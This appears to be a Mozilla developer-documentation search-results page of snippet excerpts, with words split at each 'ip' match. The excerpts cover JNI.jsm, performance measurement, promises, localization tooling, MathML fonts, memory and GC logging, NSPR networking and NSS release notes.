... in the toast code we have the following: types - context, charsequence, int, toast, and void methods - maketext, show fields - length_short no constructors are used. declare the types we will start by declaring the types needed. in jni, there is the all-important property called sig. when something is declared, we are stating the sig and the name. ...
...And 2 more matches
JNI.jsm
the jni.jsm javascr
ipt code module abstracts all of the js-ctypes required for writing jni code. to use it, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/jni.jsm"); this module was available in firefox since version 17. if you would like to support versions before that, you can copy and paste the contents of the jsm file int jni stands for java native interface; this library allows calling java code running in java virtual machines (jvms), etc. the most common use for this module is in add-ons and other works on firefox for android (fennec). with this module, all of the android sdk functions that firefox has permissions for are at your fingert
ips. a note about firefox for android, this jsm file is already globally i...
...ullyqualifiedname must be an array type. if this is provided, then afullyqualifiedname must be a class name. a required object that contains up to five fields of key names: constructors, fields, static_fields, methods, and static_methods. return value blah blah newstring() blah blah cdata newstring( ajenv, astr ); parameters ajenv the return value of getforthread(). astr a javascr
ipt string, use any encoding desired. return value blah blah readstring() blah blah string readstring( ajenv, ajavastring ); parameters ajenv the return value of getforthread(). ajavastring a cdata object that is a java string. return value a javascr
ipt string. unloadclasses() blah blah void unloadclasses(); parameters this function takes no arguments. return value this fu...
...his function starts on the position of astart in the array and sets it to the values in avalsarray. this is done by calling .set for each element with the respective value in the avalsarray. void setelements(number astart, [array, size_is(arr.length > number anynumber > 0)] in cdata avalsarray); parameters astart the position to start setting elements of the array in. ...
...And 2 more matches
PerfMeasurement.jsm
before you can use this module, you need to import it into your scope: components.utils.import("resource://gre/modules/perfmeasurement.jsm") see measuring performance using the perfmeasurement.jsm code module for details on how to use this api. note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating systems. ...
...e variables provide access to the recorded data. any measurable event that was not being recorded has a value of -1 (that is, 0xffffffffffffffff). note: these values are all zeroed (or set to -1, for events not being measured) when you initialize the perfmeasurement object, then they are not zeroed again unless you explicitly call the reset() method. this lets you accumulate measurements over mult
iple passes through code that you want to analyze. variable type descr
iption cpu_cycles uint64 the number of cpu cycles elapsed. instructions uint64 the number of instructions executed. cache_references uint64 the number of memory accesses that occurred. cache_misses uint64 the number of times memory accesses missed the cache. branch_instructions uint64 the number of branch ins...
...f times page faults required disk access. context_switches uint64 the number of context switches that occurred involving the thread being profiled. cpu_migrations uint64 the number of times the profiled thread migrated from one cpu core to another. event types measured constant the eventsmeasured constant provides a mask indicating which event types were recorded. ...
...And 2 more matches
Examples
turn os.file.exists(path).then(exists => { console.log(exists ? "you have .mozconfig in " + currentdir : "you don't have .mozconfig in " + currentdir); }); }).then(null, components.utils.reporterror); parallel promise (this example needs more work) so when chaining promises, consequent promises run after the previous promise completes. now what if we want to run mult
iple promises and then return when all are done? this is accomplished by using promise.all, this feature requires promise.jsm. const {cu} = require("chrome"); const {textdecoder, textencoder, os} = cu.import("resource://gre/modules/osfile.jsm", {}); /* files: an array of file paths */ function readtextfiles(files) { let promises = [], decoder = new textdecoder(); for (let i = 0; i < file...
...older"; let promise = readtextfiles([ os.path.join(folder, "read.me"), os.path.join(folder, "home.html") ]); promise.then( function onsuccess(filescontent) { // filescontent is an array of strings; each string is the content of one file. console.log(filescontent); }, function onfail() { console.error("failed to load all files"); } ); see also the ask.m.o topic: doing mult
iple promises in function in pareallel, how return when last done? simple example user defined promise function 2 whenever you want to make a function a promise. always wrap that function in a try catch and make that catch return promise.reject(ex) otherwise it will not trigger the rejection function of the promise.then. this way if any error happens it will reject the promise. in the example belo...
...filled with this value: " + avalue); }, function onreject(areason) { console.log("rejected with this reason: " + areason); }); // unexpected errors should always be reported at the end of a promise chain. newpromise.then(null, components.utils.reporterror); note: more examples for consuming promises are available in the promise object documentation. make user defined promise return after mult
iple images finish loading (promise.all and promise.defer) this example shows how to use promise.all to wait to create mult
iple promises with promise.defer() and return at the end of it. components.utils.import("resource://gre/modules/promise.jsm"); var mypromise = myuserdefinedpromise(); mypromise.then( function(asuccessreason) { alert('mypromise was succesful and reason was = "' + asucces...
...And 2 more matches
SourceMap.jsm
itions. original: an object with the original line and column positions. source: the original source file (relative to the sourceroot). name: an optional original token name for this mapping. sourcemapgenerator.prototype.tostring() renders the source map being generated to a string. sourcenode sourcenodes provide a way to abstract over interpolating and/or concatenating sn
ippets of generated javascr
ipt source code, while maintaining the line and column information associated between those sn
ippets and the original source code. this is useful as the final intermediate representation a compiler might use before outputting the generated js and source map. new sourcenode(line, column, source[, chunk]) line: the original line number associated with this source node...
...ociated with an original line. column: the original column number associated with this source node, or null if it isn't associated with an original column. source: the original source's filename. chunk: optional. is immediately passed to sourcenode.prototype.add, see below. sourcenode.prototype.add(chunk) add a chunk of generated js to this source node. chunk: a string sn
ippet of generated js code, another instance of sourcenode, or an array where each member is one of those things. sourcenode.prototype.prepend(chunk) prepend a chunk of generated js to this source node. chunk: a string sn
ippet of generated js code, another instance of sourcenode, or an array where each member is one of those things. sourcenode.prototype.walk(fn) walk over the tree of js sni...
... fn: the traversal function. sourcenode.prototype.join(sep) like array.prototype.join except for sourcenodes. ...
...And 2 more matches
Application Translation with Mercurial
ile path without whitespaces, else it will break. file comparison program for the translation, it is recommend to use file comparison program to compare the english file (containing the new texts) with the file of your locale (which is still missing the new strings). this example uses winmerge: download and install it. a comparison of alternatives (e.g. for linux and mac os) is available on wik
ipedia. file and text editor for editing individual files a text editor can be a better choice than a file comparion program, e.g. because the file is new and everything has to be translated, the file is too customized to compare it to the english one, or special functionality is required (e.g. bookmarking untranslated lines). use a text editor you are comfortable with. this example uses notepad++...
...nding on the performance of the hard drive. extract the files: hg update obtaining the texts of your localization go back to the parent folder of mozilla-aurora: cd .. find the localization repository for your branch and language on http://hg.mozilla.org/ e.g. for aurora and german (language code 'de'), it is http://hg.mozilla.org/releases/l10n/mozilla-aurora/de/ copy that url to the cl
ipboard. copy the repository to your computer by running the following command: hg clone http://hg.mozilla.org/releases/l10n/mozilla-aurora/de/ de-mozilla-aurora this should proceed pretty fast. on windows, you can paste the url by calling the paste command from the window menu in the upper left corner of the window. configuring your mercurial user settings still in the command prompt, go ...
...e stores your general mercurial settings (mercurial is the tool which manages the source code and its history of changes). now go in the file system to the file and open it in your favorite text editor. windows users can use e.g. notepad++. paste the following content into the file: [ui] username = firstname lastname <mynick@example.com> merge = internal:merge [alias] qexport = export -g -r qt
ip qexportall = diff -r qparent [defaults] commit = -v diff = -p -u 8 qdiff = -p -u 8 qnew = -u [diff] git = 1 showfunc = 1 unified = 8 [extensions] hgext.mq = progress = [hooks] put in your name and email address which later will be public on the internet after your translation patch got accepted and uploaded. save the file and close it. enabling mercurial queues (revertable patches) some ...
...And 2 more matches
Localizing with Koala
ecome "file" in x-testing. we will translate a small piece of the ui found in the search bar. the search bar is next to the right of the location bar, and by default points to the google search. if you click on the highlighted arrow pointing down while reading this tutorial on mdc, you will see two string that need to be translated: add "mdc search" manage search engines... there is also a toolt
ip that appears when you hover over the magnifying glass icon on the right side of the bar. requirements mercurial, linux, windows or mac os x. instructions preparation install komodo edit. install koala extension. go to tools > add-ons. search for "koala". click add to komodo edit... restart komodo when the installation is complete. you should see a new button in komodo's toolbar, with two o...
...ocument. they can be found in two files, inside the browser/chrome/browser directory: searchbar.dtd, search.properties. the difference between dtd and .properties files in the moment when they are used by the application. dtd's files are read by the xml parser, which goes through the xul files used in mozilla to create the interface when it launches. the .properties files are used in the javascr
ipt code while the application is already running. that's why the string "add %s..." (where %s is replaced by the search engine's name, like 'mdc search') is found in search.properties file. it has to be generated every time the user switches between pages. on the other hand, "manage search engines..." is generated only once, on start-up, and doesn't need to change. therefore, it is located in searc...
... right-click searchendcap.label in the sidebar (it's listed under the searchbar.dtd file) and choose "add entity". we're starting by the second entity in this file on purpose, you'll see in a moment how koala nicely handles entity order. the entity was added to the file and the english string is automatically highlighted, so that you can translate it right away. this entity is used in the toolt
ip that appears when you hover over the magnifying glass icon in the search bar. once you translated the searchendcap.label entity, add the other one from this file, i.e. cmd_enginemanager.label. you can right-click it and choose "add entity" as you did previously, or just double-click the entity name to add it to the file. note how koala is smart enough to insert this entity before searchendcap.l...
...And 2 more matches
QA phase
e concerned that you've broken something (oops!). now we'll walk you through performing some quality assurance testing on your work to make sure you're on the right track. if you're localizing mozilla websites, your work will display soon after you've committed it without needing a language pack. since such is the case, this part of the guide may not be entirely applicable to you. feel free to sk
ip ahead to the next section by clicking on the next link at the bottom of the page. in order to see your work on firefox (or another mozilla application), you'll need to have a built language pack to install on your local instance. manual & automated builds with the click of a button, some l10n tools (like narro and koala) automatically create language pack builds for you. if you're using one of...
... clicking on the next link at the bottom of the page. in order to see your work on firefox (or another mozilla application), you'll need to have a built language pack to install on your local instance. manual & automated builds with the click of a button, some l10n tools (like narro and koala) automatically create language pack builds for you. if you're using one of these tools, feel free to sk
ip ahead to the seeing your work section. if you're not using one of these tools, let's walk you through building your own language pack manually. note: remember all of those pre-requisite tools we asked you to install in the initial setup? here's where you'll need almost all of them. if you haven't installed them yet, now is the time to do it. preliminary instructions we will be using the follow...
...d before you begin. that step is back on the initial setup page. if you haven't done that yet, don't worry, we'll wait for you! pushing to your repository there are a couple of things you should take note of before you push to your repository: make sure that your files have been encoded in unicode without bom (byte order mark). remember that here you are pushing an entire directory, not a .z
ip archive file or an .xpi lang pack. the instructions below will help you learn how to use your hg repository. after your new repository is created by the l10n-drivers, please visit the url for your repo. we'll use x-testing here for our example. you can do this by entering the following url into your browser: http://hg.mozilla.org/l10n-central/x-testing now, navigate to your locale's directo...
...And 2 more matches
Fonts for Mozilla 2.0's MathML engine
a mathml torture test to test your installation against concrete examples. on windows: use this mathml fonts installer. on mac os x lion (10.7) and higher versions, stix fonts are already installed and can be used for mathml. on most linux distributions and similar open source platforms, you can install math fonts (stix, asana or mathjax fonts) from your package manager or get them from this z
ip archive. on android, firefox os and other platforms where the instructions above do not work: install the mathml-fonts add-on. this requires gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) or higher. overview mathematical formulas make use of various symbols represented by specific unicode characters. mozilla can display any of these symbols provided suitable unicode fonts are ins...
...s. starting in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), mathjax fonts are used as the default fonts for mathematical text and symbol stretching. these fonts are freely available under the apache license. they are close to latex rendering and should look more familiar to scientists. mathjax fonts also improves support for mathvariant attribute (e.g. ...
...ly available under the apache license. they are close to latex rendering and should look more familiar to scientists. mathjax fonts also improves support for mathvariant attribute (e.g. to write double-struck, scr
ipt or fraktur text). all the fonts mentioned above may already be installed by default on your system or can easily be installed via your software manager. for convenience we provide a z
ip archive of mathml fonts. the fonts may be installed by extracting the font files (which have the .otf extension) from the z
ip archive, then following instructions for microsoft windows, or copying the files to a ~/library/fonts folder on mac os x, or to a ~/.fonts/ directory (which may need to be created) on unix/linux systems. alternatively, follow dafont's "how to install a font". these fonts a...
...And 2 more matches
GC and CC logs
why various js and c++ objects are alive in the heap. garbage collector logs and cycle collector logs can be analyzed in various ways. in particular, cc logs can be used to understand why the cycle collector is keeping an object alive. these logs can either be manually or automatically generated, and they can be generated in both debug and non-debug builds. this logs the contents of the javascr
ipt heap to a file named gc-edges-nnnn.log. it also creates a file named cc-edges-nnnn.log to which it dumps the parts of the heap visible to the cycle collector, which includes native c++ objects that partic
ipate in cycle collection, as well as js objects being held alive by those c++ objects. generating logs from within firefox to manually generate gc and cc logs, navigate to about:memory and u...
...you'll need to disable sandboxing by setting moz_disable_content_sandbox=t when you run firefox. ...
...disable_content_sandbox=t when you run firefox. from the commandline tldr: if you just want shutdown gc/cc logs to debug leaks that happen in our automated tests, you probably want something along the lines of: moz_disable_content_sandbox=t moz_cc_log_directory=/full/path/to/log/directory/ moz_cc_log_shutdown=1 moz_cc_all_traces=shutdown ./mach ... as noted in the previous section, with mult
iprocess firefox, you can't record logs from the content process, due to sandboxing. you'll need to disable sandboxing by setting moz_disable_content_sandbox=t when you run firefox. on desktop firefox you can override the default location of the log files by setting the moz_cc_log_directory environment variable. by default, they go to a temporary directory which differs per os - it's /tmp/ on linux...
...And 2 more matches
Memory reporting
makes one or more memory measurements (a.k.a. reports). each reporter implements a collectreports function which takes a nsimemoryreportercallback argument; for each measurement the reporter must pass in several values, including: a path (which identifies the report); an amount (the most important thing); a unit (most commonly bytes, but sometimes a unitless count or percentage); a descr
iption of what is measured. see the nsimemoryreporter documentation and nsimemoryreporter.idl for full details. making measurements nsimemoryreporter provides the high-level interface for a memory reporter, but the heart of a memory reporter is the measurement of the "amount". two ways to measure memory reporters can be divided into the two following kinds. traversal-based reporters travers...
... kinds. traversal-based reporters traverse one or more data structures and measure the size of all the allocated blocks in the data structure. counter-based reporters maintain a counter that is incremented on each relevant allocation and decremented on each relevant deallocation. traversal-based reporters are preferable, for the following reasons. they are less error-prone. we've had mult
iple bugs in the past with counter-based reporters. the cost of reporting isn't incurred unless the memory reporter is queried. they provide more information to dmd, which is a tool that helps keep about:memory's "heap-unclassified" number low. see below for more details. sometimes counter-based reporters are unavoidable, particularly when writing memory reporters for third-party code that canno...
...includingthis when it is virtual. d::sizeofincludingthis is identical to b::sizeofincludingthis. you might think that d could just inherit sizeofincludingthis from b. in some cases this works, but there's a lot of c++ subtlety involving the amallocsizeof(this) and whether this actually points to the start of the allocated object or somewhere in its middle. this is doubly true if d features mult
iple inheritance. and if amallocsizeof is passed a pointer that doesn't point to the start of an object it will give bogus results or even crash. so, if in doubt, define d::sizeofincludingthis and you should be safe. the override annotations say that d's methods override the corresponding methods in b. on supporting compilers it gets expanded to the override keyword. it helps prevent accidentally h...
...And 2 more matches
Patches and pushes
. below you'll find instructions on creating a patch and pushing it to your repository. patchify search plugins are found in browser/searchplugins. each plugin is stored as an xml file, with list.txt containing the names of each plugin. here is an example search plugin file using french yahoo. ...
...ctions on creating a patch and pushing it to your repository. patchify search plugins are found in browser/searchplugins. each plugin is stored as an xml file, with list.txt containing the names of each plugin. here is an example search plugin file using french yahoo. ...
...le, with list.txt containing the names of each plugin. here is an example search plugin file using french yahoo. ...
...And 2 more matches
L20n HTML Bindings
the l20n html bindings you can take advantage of html bindings to localize your html documents with l20n. download l20n with html bindings we maintain a repository with l20n optimized for production use: one file (~110kb) one file, minified (~35kb) it's recommended to include the l20n.js file as the last scr
ipt in the head element. <head> ... <scr
ipt src="l20n.js"></scr
ipt> </head> create manifest use a localization manifest to define available languages and their resource files. <link rel="localization" href="../locales/manifest.json"> an example of the manifest file (all keys are required): { "locales": [ "en-us", "pl"], "default_locale": "en-us", "resources": [ "../locales/{{locale}}/strings.l20n", "/shared/{{locale}}/date.l20n"? ] } make html ...
...orks. when all dom nodes are localized, the document element will fire a documentlocalized event, which you can listen to: document.addeventlistener('documentlocalized', function() { // the dom has been localized and the user sees it in their language yourapp.init(); }); exposing context data you can expose important bits of data to the localization context in form of context data. <scr
ipt type="application/l10n-data+json"> { "newnotifications": 3, "user": { "name": "jane", "gender": "feminine" } } </scr
ipt> this data will be available context-wide to all localized strings. for instance, a string could use the information about the user's gender to provide two variants of the translation, like in the example below. see l20n by example to learn more about l20n's syn...
...mode may be useful when you first start a new project, when you want to test something quickly or when using server-side language negotiation. in order to enable the monolingual mode, remove the manifest link from your html. with no information about the available and the default locales, l20n will switch to the monolingual mode. you can then embed localization resources right in your html. ...
...And 2 more matches
Nonblocking IO In NSPR
introduction previously, all i/o in the netscape portable runtime (nspr) was blocking (or synchronous). a thread invoking an io function is blocked until the io operation is finished. the blocking io model encourages the use of mult
iple threads as a programming model. a thread is typically created to attend to one of the simultaneous i/o operations that may potentially block. in the nonblocking io model, a file descr
iptor may be marked as nonblocking. an io function on a nonblocking file descr
iptor either succeeds immediately or fails immediately with <tt>pr_would_block_error</tt>. a single thread is sufficient to attend to mult
iple nonblocking file descr
iptors simultaneously. typically, this central thread invokes <tt>pr_poll()</tt> on a set of nonblocking file descr
iptors. (note:...
... creating a nonblocking socket only sockets can be made nonblocking. regular files always operate in blocking mode. ...
... creating a nonblocking socket only sockets can be made nonblocking. regular files always operate in blocking mode. this is not a serious constraint as one can assume that disk i/o never blocks. ...
...And 2 more matches
PR_NewTCPSocket
a tcp connection is established by a passive socket (the server) accepting a connection setup request from an active socket (the client). ...
...a tcp connection is established by a passive socket (the server) accepting a connection setup request from an active socket (the client). ...
...a tcp connection is established by a passive socket (the server) accepting a connection setup request from an active socket (the client). ...
...And 2 more matches
NSS_3.12.1_release_notes.html
le on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_1_rtm/src/. binary distributions: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_1_rtm/. both debug and optimized builds are provided. go to the subdirectory for your platform, dbg (debug) or opt (optimized), to get the tar.gz or z
ip file. the tar.gz or z
ip file expands to an nss-3.12.1 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12.1 requires. nspr 4.7.1 binary distributions are in https:/...
...conformance strictness for cert_nametoasciiinvertible (see certt.h) cert_n2a_readable (maximum human readability) cert_n2a_strict (strict rfc compliance) cert_n2a_invertible (maximum invertibility) bugs fixed the following bugs have been fixed in nss 3.12.1. bug 67890: create self-signed cert with existing key that signed csr bug 129303: nss needs to expose interfaces to deal with mult
iple token sources of certs. bug 311432: ecc's ecl_use_fp code (for linux x86) fails pairwise consistency test bug 330622: certutil's usage messages incorrectly document certain options bug 330628: coreconf/linux.mk should _not_ default to x86 but result in an error if host is not recognized bug 359302: remove the sslsample code from nss source tree bug 372241: need more versatile form of ...
... bug 430916: add sustaining asserts bug 431805: leak in nssarena_destroy() bug 431929: memory leaks on error paths in devutil.c bug 432303: replace pkix_pl_memcpy with memcpy bug 433177: fix the gcc compiler warnings in lib/util and lib/freebl bug 433437: vfychain ignores the -a option bug 433594: crash destroying ocsp cert id [[@ cert_destroyocsp...
...And 2 more matches
NSS 3.12.6 release notes
a connection will be dropped at initial handshake if the peer server or client does not support safe renegotiation. the default setting for this option is false. these options can also be set with the following ssl options: ssloptions.enablerenegotiation ssloptions.requiresafenegotiation new pseudo c
ipher suite value: tls_empty_renegotiation_info_scsv (cannot be negotiated) tls server name indication for servers tls server name indication (sni) for servers is almost fully implemented in nss 3.12.6. see bug 360421 for details. note: the tls server name indication for clients is already fully imp...
...es from a list of certs. in ocsp.h cert_cacheocspresponsefromsidechannel: this function is intended for use when ocsp responses are provided via a side-channel, i.e. tls ocsp stapling (a.k.a. the status_request extension). ...
... in ocsp.h cert_cacheocspresponsefromsidechannel: this function is intended for use when ocsp responses are provided via a side-channel, i.e. tls ocsp stapling (a.k.a. the status_request extension). ...
...And 2 more matches
NSS 3.20 release notes
h is a minor release. distribution information the hg tag is nss_3_20_rtm. nss 3.20 requires nspr 4.10.8 or newer. nss 3.20 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_rtm/src/ new in nss 3.20 new functionality the tls library has been extended to support dhe c
iphersuites in server applications. new functions in ssl.h ssl_dhegroupprefset - configure the set of allowed/enabled dhe group parameters that can be used by nss for a server socket. ssl_enableweakdheprimegroup - enable the use of weak dhe group parameters that are smaller than default minimum size of the library. new types in sslt.h ssldhegrouptype - enumerates the ...
...ssl_enableweakdheprimegroup - enable the use of weak dhe group parameters that are smaller than default minimum size of the library. new types in sslt.h ssldhegrouptype - enumerates the set of dhe parameters embedded in nss that can be used with function ssl_dhegroupprefset new macros in ssl.h ssl_enable_server_dhe - a socket option user to enable or disable dhe c
iphersuites for a server socket notable changes in nss 3.20 the tls library has been extended to support dhe c
iphersuites in server applications. for backward compatibility reasons, the server side implementation of the tls library keeps all dhe c
iphersuites disabled by default. they can be enabled with the new socket option ssl_enable_server_dhe and the ssl_optionset or the ssl_optionset...
...ort dhe c
iphersuites in server applications. for backward compatibility reasons, the server side implementation of the tls library keeps all dhe c
iphersuites disabled by default. they can be enabled with the new socket option ssl_enable_server_dhe and the ssl_optionset or the ssl_optionsetdefault api. the server side implementation of the tls does not support session tickets while using a dhe c
iphersuite (see bug 1174677). support for the following c
iphersuites has been added: tls_dhe_dss_with_aes_128_gcm_sha256 tls_dhe_dss_with_aes_128_cbc_sha256 tls_dhe_dss_with_aes_256_cbc_sha256 by default, the server side tls implementation will use dhe parameters with a size of 2048 bits when using dhe c
iphersuites. nss embeds fixed dhe parameters sized 2048, 3072, 4096, 6144 and...
...And 2 more matches
nss tech note6
nss .chk files for the f
ips 140 mode nss technical note: 6 in nss 3.8, we added checksum files required for the nss softoken to operate in f
ips 140 mode. the new checksum file is called libsoftokn3.chk on unix/linux and softokn3.chk on windows. it must be put in the same directory as the nss libraries. the libsoftokn3.chk/softokn3.chk file contains a checksum for the softoken. when in f
ips 140 mode, the softoken is required to compute its checksum and compare it with the value in libsoftokn3.chk/softokn3.chk. the following applies to nss 3.8 through 3.10 : on 32-bit solaris sparc (i.e., not x86, and not 64-bit sparc) and 32-bit hp-ux pa-risc (i.e., not itanium, and not 64-bit pa-risc), there are two more .chk files: libfreebl_pure32_3.chk and libfreebl_hybrid_3.chk. the follow...
...onding libfreebl_32int_3.chk on the 64-bit solaris sparc architecture, there are 2 freebl libraries : libfreebl_64int_3.so for ultrasparc t1 cpus, with a corresponding libfreebl_64int_3.chk libfreebl_64fpu_3.so for other ultrasparc cpus, with a corresponding libfreebl_64fpu_3.chk on the 32-bit hp-ux pa-risc architecture, there are 2 freebl libraries : libfreebl_32fpu_3.sl for cpus that do mult
iply operations faster in floating point, with a corresponding libfreebl_32fpu_3.chk libfreebl_32int_3.sl for other pa-risc cpus, with a corresponding libfreebl_32int_3.chk on the 64-bit hp-ux pa-risc architecture, there is only one freebl library, called libfreebl3.sl, with a corresponding libfreebl3.chk applications should always use nss binaries that are the output of the regular nss build pr...
....sl for other pa-risc cpus, with a corresponding libfreebl_32int_3.chk on the 64-bit hp-ux pa-risc architecture, there is only one freebl library, called libfreebl3.sl, with a corresponding libfreebl3.chk applications should always use nss binaries that are the output of the regular nss build process. if your application modifies nss binaries for any reason after they were built, then : the f
ips 140 mode of operation will no longer work, because the chk files will no longer match the softoken and freebl shared libraries . the softoken and freebl binaries won't match any nss binaries that may have been submitted to nist for validation, and thus may not be verified as being the actual f
ips 140 validated cryptographic module . the only way to meet this requirement is for your application n...
...And 2 more matches
NSS tools : cmsutil
to run cmsutil, type the command cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section. each command takes one option. each option may take zero or more arguments. ...
...d as follows: -d decode a message. -c encrypt a message. -e envelope a message. -o create a certificates-only message. -s sign a message. arguments option arguments modify an action and are lowercase. -c content use this detached content (decode only). -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of rec
ipients to which you would like to send an encrypted message. if this is the first encrypted message for that set of rec
ipients, a new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile use infile as a source of data (default is ...
... headers with info about cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify nickname of certificate to sign with (sign only). -n suppress output of contents (decode only). -o outfile use outfile as a destination of data (default is stdout). -p include an s/mime capabilities attribute. -p password use password as key database password. -r rec
ipient1,rec
ipient2, ... specify list of rec
ipients (email addresses) for an encrypted or enveloped message. for certificates-only message, list of certificates to send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (default is certusageemailsigner). -y ekprefnick specify an encryption key preference by nickname. usage encrypt example cmsutil -c [-i infile] [-o o...
...And 2 more matches
pkfnc.html
wincx a pointer to application data for the password callback function. this pointer is set with ssl_setpkcs11pinarg during ssl configuration. to retrieve its current value, use ssl_revealpinarg. returns the function returns one of these values: if successful, a pointer to a certificate structure. if unsuccessful, null. descr
iption a nickname is an alias for a certificate subject. there may be mult
iple certificates with the same subject, and hence the same nickname. this function will return the newest certificate that matches the subject, based on the notbefore / notafter fields of the certificate. when you are finished with the certificate structure returned by pk11_findcertfromnickname, you must free it by calling ...
... wincx a pointer to application data for the password callback function. this pointer is set with ssl_setpkcs11pinarg during ssl configuration. to retrieve its current value, use ssl_revealpinarg. returns the function returns one of these values: if successful, a pointer to a private key structure. if unsuccessful, null. descr
iption when you are finished with the private key structure returned by pk11_findkeybyanycert, you must free it by calling seckey_destroyprivatekey. the pk11_findkeybyanycert function calls the password callback function set with pk11_setpasswordfunc and passes it the pointer specified by the wincx parameter. pk11_getslotname gets the name of a slot. syntax #include <pk11func.h> char *pk1...
... slot. syntax #include <pk11func.h> char *pk11_getslotname(pk11slotinfo *slot); parameters this function has the following parameter: slot a pointer to a slot info structure. returns the function returns one of these values: if successful, a pointer to the name of the slot (a string). if unsuccessful, null. descr
iption if the slot is freed, the string with the slot name may also be freed. if you want to preserve it, copy the string before freeing the slot. do not try to free the string yourself. pk11_gettokenname gets the name of the token. syntax #include <pk11func.h> char *pk11_gettokenname(pk11slotinfo *slot); parameters this function has the following parameter: sl...
...And 2 more matches
S/MIME functions
d later nss_cmsdecoder_cancel mxr 3.2 and later nss_cmsdecoder_finish mxr 3.2 and later nss_cmsdecoder_start mxr 3.2 and later nss_cmsdecoder_update mxr 3.2 and later nss_cmsdigestcontext_cancel mxr 3.2 and later nss_cmsdigestcontext_finishmult
iple mxr 3.2 and later nss_cmsdigestcontext_finishsingle mxr 3.2 and later nss_cmsdigestcontext_startmult
iple mxr 3.2 and later nss_cmsdigestcontext_startsingle mxr 3.2 and later nss_cmsdigestcontext_update mxr 3.2 and later nss_cmsdigesteddata_create mxr ...
... nss_cmsencoder_start mxr 3.2 and later nss_cmsencoder_update mxr 3.2 and later nss_cmsencrypteddata_create mxr 3.2 and later nss_cmsencrypteddata_destroy mxr 3.2 and later nss_cmsencrypteddata_getcontentinfo mxr 3.2 and later nss_cmsenvelopeddata_addrec
ipient mxr 3.2 and later nss_cmsenvelopeddata_create mxr 3.2 and later nss_cmsenvelopeddata_destroy mxr 3.2 and later nss_cmsenvelopeddata_getcontentinfo mxr 3.2 and later nss_cmsmessage_contentlevel mxr 3.2 and later nss_cmsmessage_contentlevelcount mxr ...
...2 and later nss_cmsmessage_destroy mxr 3.2 and later nss_cmsmessage_getcontent mxr 3.2 and later nss_cmsmessage_getcontentinfo mxr 3.2 and later nss_cmsmessage_isencrypted mxr 3.4.1 and later nss_cmsmessage_issigned mxr 3.4 and later nss_cmsrec
ipientinfo_create mxr 3.2 and later nss_cmsrec
ipientinfo_createfromder mxr 3.8 and later nss_cmsrec
ipientinfo_createnew mxr 3.8 and later nss_cmsrec
ipientinfo_createwithsubjkeyid mxr 3.7 and later nss_cmsrec
ipientinfo_createwithsubjkeyidfromcert mxr 3.7 and later ...
...And 2 more matches
NSS Tools crlutil
, my_cert8.db and my_key3.db). this option is provided as a special case. changing the names of the certificate and key databases is not recommended. -a use ascii format or allow the use of ascii format for input and output. this formatting follows rfc #1113. -c crl-gen-file specify scr
ipt file that will be used to control crl generation/modification. see crl-cr
ipt-file format below. if options -m|-g is used and -c crl-scr
ipt-file is not specified, crlutil will read scr
ipt data from standard input. -d directory specify the database directory containing the certificate and key database files. on unix the certificate database t...
...es. if this argument is not used the output destination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u url specify the url. crl generation scr
ipt syntax: crl generation scr
ipt file has the following syntax: line with comments should have <bold>#</bold> as a first symbol of a line set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional. time should be in generalizedtime format (yyyymmddhhmmssz). for example: 20050204153000z ...
...l or 0 otherwise. key-id: key identifier represented in octet string. dn:: is a ca distinguished name cert-serial: authority certificate serial number. add issuer alternative name extension: the issuer alternative names extension allows additional identities to be associated with the issuer of the crl. defined options include an rfc822 name (electronic mail address), a dns name, an
ip address, and a uri. issueraltnames non-critical name-list where: subjaltnames: identifies the name of an extension should be set to 0 since this is non-critical extension name-list: comma separated list of names add crl number extension: the crl number is a non-critical crl extension which conveys a monotonically increasing sequence numb...
...And 2 more matches
Proxies in Necko
proxies are implemented transparently to necko users. this means that callers can just create an nsichannel, not needing to worry about whether the channel will use a proxy or not the basic interfaces for proxies are: ns
iproxyinfo, ns
iprotocolproxyservice, and ns
iproxiedprotocolhandler ns
iproxyinfo is a simple helper which stores information about the type of the proxy, its host and its port. nsiioservice the decision whether to use a proxy is made in nsioservice::newchannelfromuri. it first asks the ns
iprotocolproxyservice for an ns
iproxyinfo. depending on the type of the proxy info, it either asks the http protocol handler or the protocol handler for the requested uri for a new channel with the ns
iproxyinfo - if the channel supports ns
iproxiedprotocolhandler. otherwise, the proxy i...
...this works by examining the protocolflags of the protocol handler for the given uri. ...
...this works by examining the protocolflags of the protocol handler for the given uri. if this protocol handler does not support proxies, resolve returns null. ...
...And 2 more matches
SpiderMonkey compartments
a compartment is a new concept with spidermonkey 1.8.5. compartments are used to create mult
iple javascr
ipt memory heaps, which avoids having one heap for all javascr
ipt objects. each compartment is a separate javascr
ipt heap. in previous versions of spidermonkey, the garbage collector would walk the entire heap of all javascr
ipt objects when garbage collection was needed. with compartments, garbage collection can run per compartment. this can result in significant performance improvements in some applications. an object in one compartment cannot touch an object in another compartment, except through a cross-compartment wrapper. ...
...n was needed. with compartments, garbage collection can run per compartment. this can result in significant performance improvements in some applications. an object in one compartment cannot touch an object in another compartment, except through a cross-compartment wrapper. compartment example the firefox browser embeds spidermonkey. in firefox 4 and above, compartments are used and all javascr
